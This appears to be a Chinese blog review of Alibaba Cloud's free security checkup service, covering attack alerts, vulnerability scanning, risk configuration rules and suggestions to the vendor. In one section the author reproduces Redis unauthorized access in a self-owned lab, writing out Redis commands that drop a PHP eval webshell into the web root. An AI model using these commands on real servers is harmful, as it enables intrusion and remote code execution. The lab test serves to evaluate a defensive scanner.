安全体检新体验

安全是在数字化加速的今天,企业生存和发展的必选项。安全体检是阿里云面向云上用户,针对授权环境提供的一种免费安全检测服务。只要你是阿里云的用户就能免费获得安全攻击告警、风险配置检测、高危漏洞检测等多项免费安全能力。百闻不如一见,百见不如一试。今天我就带大家一起体验安全体检并斗胆给官方提一些改进建议。

安全体检从哪进?

安全体检是在安全管控产品之中提供的服务,而安全管控你在控制台其实是无法搜索到的。

/img/aqtj/anquantj.png

因为安全管控是云盾的子功能(根据 URL 和标签页标题猜测的)。

/img/aqtj/anquantj.png

但是你进入云盾(现在改名叫云安全中心),其实是无法找到安全管控这个产品的控制台。

安全管控藏的很深,这倒是蛮像它的定位的,因为它很大程度上代表了一种底线,就像开网店需要遵守工商规定一样,使用阿里云服务需要遵守国家法律法规(参阅https://help.aliyun.com/document_detail/469816.html)。如果用户发布违法内容或进行违规操作(比如传播恶意软件,使用 ECS 挖矿,AK 泄露到公网等),阿里云有权采取限制措施(暂停资源接入等),就像平台发现违规店铺会下架商品甚至关店一样。安全管控主要提供了查看和解封功能,这也是你以往关注不到它的原因之一,正常使用确实很少跟它打交道。

而现在,在合法的底线之上,阿里云还提供了免费安全体检功能: 相当于给你的云服务器安排了一位24小时在线的安全医生: 它能够实时监测网络攻击(比如黑客入侵尝试) ; 自动检查配置漏洞(就像检查门窗有没有锁好,类似基线核查) ; 扫描系统漏洞 ; 发现问题会立即告警。

但是,安全管控又不难找,你可以直接在控制台右上角悬浮窗找到安全管控,他与实名认证、访问控制和AK设置在一起,你可能没有用过这个功能。

/img/aqtj/anquantj.png

另外,如图在控制台搜索框键入【安全管控】也可以进入安全管控控制台。

/img/aqtj/anquantj.png

详细分析

安全管控中的安全体检功能提供免费的基础安全检测,产品的安全检测结果会汇总到云安全中心,云安全中心的部分(尤其是高危)的风险问题会汇总到安全体检。

【云安全中心】检查内容:

/img/aqtj/anquantj.png

【安全体检】的内容:

/img/aqtj/anquantj.png

【安全体检】与【云安全中心】相比更加简明实用,能够帮助企业和开发者解决迫切的安全问题。

攻击告警范围

云安全中心告警 和 AK泄漏告警 的内容是来自云安全中心——云工作负载保护平台(CWPP),具体内容参阅:https://help.aliyun.com/zh/security-center/user-guide/overview-6

同时,云安全中心支持安全告警实时检测与处理、漏洞检测与一键修复、攻击分析、云安全态势管理等功能,已安装云安全中心Agent的服务器重新启动后,云安全中心的防御进程需要一定时间才能生效。

**需要注意的是,你能够接受到何种类别的告警取决于你购买的云安全中心版本。**例如:

免费版云安全中心提供的安全告警类型包括:

漏洞扫描:检测Linux软件漏洞、Windows系统漏洞和Web-CMS漏洞。 应急漏洞扫描:预警近期高危漏洞,需手动执行扫描。 异常登录检测:识别非常用地登录和暴力破解尝试。 AK泄露检测:监测GitHub等平台上的AK信息泄露。 合规检查:支持等保合规和ISO 27001合规检测。

病毒查杀、容器主动防御、进程异常行为、敏感文件篡改、恶意软件、异常网络连接、防勒索等需要付费升级,推荐购买防病毒版以获得基础的服务

https://help.aliyun.com/zh/security-center/product-overview/functions-and-features

/img/aqtj/anquantj.png

免费版告警并不会对系统进程进行分析告警(挖矿进程除外,如检测到涉嫌违法的挖矿进程,系统将直接触发安全管控

如果你想要对操作系统及其上的应用进行优化,那么操作系统控制台提供更可视的诊断功能,该服务目前限免。

/img/aqtj/anquantj.png

验证功能

攻击告警

/img/aqtj/anquantj.png

由于我的 ECS 安全组配置合理,几乎没有服务和端口暴露在公网上,因此攻击告警部分为 0 这一部分并不奇怪。

我们企业常见的攻击其实是渗透测试,如果进行云上资产渗透测试需要在安全管控页面申请渗透测试许可,放行我们渗透人员的IP。渗透测试许可并不需要等待很长时间去审核,基本上是申请即通过。

/img/aqtj/anquantj.png

云服务器漏洞

/img/aqtj/anquantj.png

云安全中心-主机资产-漏洞检测功能应该与安全检查中的云服务器漏洞模块是一致的,需要注意的是,我们是需要手动点击【立即检测】才能触发检查。

/img/aqtj/anquantj.png

/img/aqtj/anquantj.png

应急漏洞验证

/img/aqtj/anquantj.png

应急漏洞就是云安全中心首页这里滚动轮播的高风险漏洞,他们会对服务器造成巨大的危害,该功能在免费版也提供了支持。

在这里我们以 Redis 未授权访问为例,看一下安全检查是否能够检测出来。

易受影响的版本及原因:

  • Redis 3.2.0 之前版本:
    • 原因:默认未启用 protected-mode(该特性在 3.2.0 引入),且默认绑定地址为 127.0.0.1。
    • 风险场景:若用户手动修改配置将 bind 设置为 0.0.0.0(开放所有网络接口)或注释绑定规则,同时未设置密码(requirepass),则服务会直接暴露在公网,导致未授权访问。
  • 所有版本(包括最新版)
    • 无论版本如何,若未设置密码、关闭 protected-mode 或配置防火墙允许公网访问,均可能遭受未授权访问。

该漏洞在 Shodan 等网络空间测绘平台中可见大量暴露实例,根据 CVE-2022-0543 等历史漏洞记录,未授权访问常被僵尸网络利用进行挖矿攻击。最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

漏洞复现

我们在 ECS 上安装 Redis 3.0 版本并修改 conf 文件将 bind 设置为 0.0.0.0(开放所有网络接口)。

  • 步骤 1: ECS 上拉取Redis 3.0镜像

    • docker pull redis:3.0
  • 步骤 2: ECS 上创建自定义配置文件(覆盖默认bind)

    • bind 0.0.0.0 #其他配置按需添加
  • 步骤 3: ECS 上运行Redis容器

    1
    2
    3
    4
    5
    6
    
    docker run -d \
      --name redis3.0 \
      -p 6379:6379 \
      -v $(pwd)/redis.conf:/usr/local/etc/redis/redis.conf \
      redis:3.0 \
      redis-server /usr/local/etc/redis/redis.conf
    

    /img/aqtj/anquantj.png

  • 步骤 4:攻击机上写入webshell

    • 利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限
    • 根据我在 ECS 上部署的 PHP 网站在攻击机上构造以下命令并执行:
    1
    2
    3
    4
    
    config set dir /var/www/html
    config set dbfilename hello.php
    set webshell"<?php phpinfo();?>"
    save
    
    • 返回 ECS 查看结果

    /img/aqtj/anquantj.png

    • 在 ECS 上创建 webshell 的一句话 PHP 文件
    • 执行如下命令
    1
    2
    3
    4
    
    config set dir /var/www/html
    set xxx"\nlnin<?php eval($ POST['x']);?>\n\n\n
    config set dbfilename webshell.php
    save
    
    • 返回 ECS 查看结果

    /img/aqtj/anquantj.png

漏洞修复

Redis 未授权访问这个漏洞在阿里云内并不是唯一的,在应用漏洞里面它的编号是 AVD-2021-905492,在应急漏洞里面它的编号是 AVD-02021-0344。

/img/aqtj/anquantj.png

/img/aqtj/anquantj.png

我不知道阿里云在扫描漏洞时是如何区分这两个漏洞的,但是这个 Redis 未授权访问漏洞在应急漏洞里面没有展示导致了在安全体检的漏洞页面也找不到这个漏洞,即使这是一个高风险的漏洞。

/img/aqtj/anquantj.png

/img/aqtj/anquantj.png

Linux 软件漏洞验证

由于我的业务服务器均升级到了最新版本,因此公开的漏洞是不可能扫描到了。在本章节的测评,我将尝试新开一台服务器,使用低版本 CentOS 。来验证 Linux 软件漏洞 功能。

已停止支持(EOL)的 CentOS 版本

版本 停止支持时间 状态说明
CentOS 5 2017年3月31日 官方支持完全终止,无安全更新,镜像源已移除。
CentOS 6 2020年11月30日 进入EOL阶段,不再提供维护更新。
CentOS 8 2021年12月31日 原计划支持至2029年,但被Red Hat提前终止,转为滚动更新的 CentOS Stream。

首先是操作系统的选择,我选择使用 CentOS 7.2 64位,它虽然版本相对较旧但是仍然在维护,不至于像 CentOS 5 一样完全获取不到可用的镜像源。

/img/aqtj/anquantj.png

经过扫描我们可以看到安全体检这里的漏洞信息是取自云安全中心的,因此,安全体检的Linux软件漏洞和Windows系统漏洞扫描服务需要事先开通更高级的云安全中心,免费版的云安全中心不具备这两项漏扫服务。这一实践验证了上一章节的猜测。

/img/aqtj/anquantj.png

下一步当然就是修复了,这个面板展示了漏洞公告、是否需要重启以及【去修复】按钮,单击去修复我们可以直接跳转到云安全中心相应的漏洞详情,

/img/aqtj/anquantj.png

在这里我们可以完成查看漏洞报告详情、一键修复并验证修复效果等操作。

/img/aqtj/anquantj.png

这一项功能还是很实用的,现在有相当多的运维想修漏洞而不会修、不敢修,安全体检和云安全中心这一项服务就显得格外重要。

此外,对于部分漏洞,尤其是高危漏洞,阿里云提供云防火墙上的虚拟补丁功能,直接在漏洞管理添加了虚拟补丁标签,一目了然。

/img/aqtj/anquantj.png

建议:

①安全体检-云服务器漏洞的漏洞列表没有提供按照紧急程度排序的功能,建议可以添加该功能;

/img/aqtj/anquantj.png

②漏洞的展示仅漏洞 CVE 比较难以理解,建议可以使用 漏洞库标题 + CVE 的方式来标识漏洞,这样易读性会更好,客户也更容易判断这个漏洞是否影响业务。

/img/aqtj/anquantj.png

云产品风险配置

云产品风险配置 包含了五大类 总共30条规则的配置检查。以下图为例,通过/未通过/无数据标签显而易见。

/img/aqtj/anquantj.png

用户可以轻松筛选处所有未通过项并点击查看详情进行修复。

/img/aqtj/anquantj.png

以服务器安全组开放了风险端口为例,可以直接点击【文档链接】获得完整的支持与说明,

/img/aqtj/anquantj.png

查看描述我们可以知道:当安全组22/3389端口TCP/UDP协议的入方向规则目的地址建议设置为0.0.0.0/0时,触发这个高风险项。

我们在详情页能看到未通过的资源类型是ACS::ECS::SecurityGroup,也就是ECS,我们在帮助文档下滑,查看如何修改 ECS 对应的安全组。

/img/aqtj/anquantj.png

首先是点击链接跳转到 ECS 管理控制台,按照图示进入安全组列表。

/img/aqtj/anquantj.png

我们修改 22/3389 端口的源地址为单位的 IP 地址或内网地址即可,只要不是0.0.0.0(全部放行)就不会触发高风险项。

/img/aqtj/anquantj.png

/img/aqtj/anquantj.png

其他的问题也是一样,只需要仔细阅读问题描述然后按照建议找到当前与目标的差异并进行弥补就行。

该规则的触发机制是 检测配置变更 每24小时一次,这意味着该问题的修复不会立即反馈到安全体检页面,可能会有一天的延迟,对强迫症不是很友好。

建议:

①当前云产品风险配置只是给出建议,并没有分析差距,如果能实现差距分析并结合AI或人工给出针对性的意见那就再好不过了;

②检查规则的排序比较乱,目前既不是按照规则分类排序、也不是按照未通过资产数量排序,更不是通过风险等级排序,如果能优化排序规则那就更好了;

/img/aqtj/anquantj.png

③建议给修复建议加上对应产品的控制台,方便有实践经验的用云老用户直达并进行修复。